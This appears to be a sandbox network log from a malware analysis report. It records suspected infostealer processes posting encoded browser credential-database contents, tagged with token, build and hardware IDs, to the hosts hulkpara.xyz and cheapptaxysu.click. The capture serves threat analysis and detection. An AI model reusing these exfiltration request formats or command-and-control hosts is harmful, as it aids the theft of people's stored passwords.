2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:18 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50097	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:17 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----3WT26XLX4OZM7Q16XBA1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:17 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 57 54 32 36 58 4c 58 34 4f 5a 4d 37 51 31 36 58 42 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 33 57 54 32 36 58 4c 58 34 4f 5a 4d 37 51 31 36 58 42 41 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 33 57 54 32 36 58 4c 58 34 4f 5a 4d 37 51 31 36 58 42 41 31 0d 0a 43 6f 6e 74 Data Ascii: ------3WT26XLX4OZM7Q16XBA1Content-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------3WT26XLX4OZM7Q16XBA1Content-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------3WT26XLX4OZM7Q16XBA1Cont
2024-12-19 15:11:17 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:17 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2024-12-19 15:11:17 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:17 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2024-12-19 15:11:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:19 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50103	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:19 UTC	365	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KZ3A3ZILK8S Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1310 Host: cheapptaxysu.click
2024-12-19 15:11:19 UTC	1310	OUT	Data Raw: 2d 2d 4b 5a 33 41 33 5a 49 4c 4b 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 5a 33 41 33 5a 49 4c 4b 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 5a 33 41 33 5a 49 4c 4b 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 4b 5a 33 41 33 5a 49 4c 4b 38 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --KZ3A3ZILK8SContent-Disposition: form-data; name="hwid"83D05E173FB2DB55AC8923850305D13E--KZ3A3ZILK8SContent-Disposition: form-data; name="pid"1--KZ3A3ZILK8SContent-Disposition: form-data; name="lid"CZJvss----KZ3A3ZILK8SContent-D
2024-12-19 15:11:20 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=au80nrg283fssmnn4mb133f3qn; expires=Mon, 14 Apr 2025 08:57:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2QnRI2xQuWwZWotieicD7b3U3E0F5QbBKgmyZOf8VVgK6n%2FyuO8UFPzhzNDcsPiAC4bluwppVuI43cmZXh%2BDBHf8RScUsugdd4bP7JvI9ekoPwvrZA1%2BN0HZoGDqbEwBCf%2FtmUA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4853129ed08c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1942&min_rtt=1940&rtt_var=732&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2311&delivery_rate=1489795&cwnd=184&unsent_bytes=0&cid=bd66a52d5eb50c39&ts=793&x=0"
2024-12-19 15:11:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 15:11:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50108	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:20 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----00HDTR9ZC2VAAIE3O8YC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 30 48 44 54 52 39 5a 43 32 56 41 41 49 45 33 4f 38 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 30 30 48 44 54 52 39 5a 43 32 56 41 41 49 45 33 4f 38 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 30 30 48 44 54 52 39 5a 43 32 56 41 41 49 45 33 4f 38 59 43 0d 0a 43 6f 6e 74 Data Ascii: ------00HDTR9ZC2VAAIE3O8YCContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------00HDTR9ZC2VAAIE3O8YCContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------00HDTR9ZC2VAAIE3O8YCCont
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:20 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 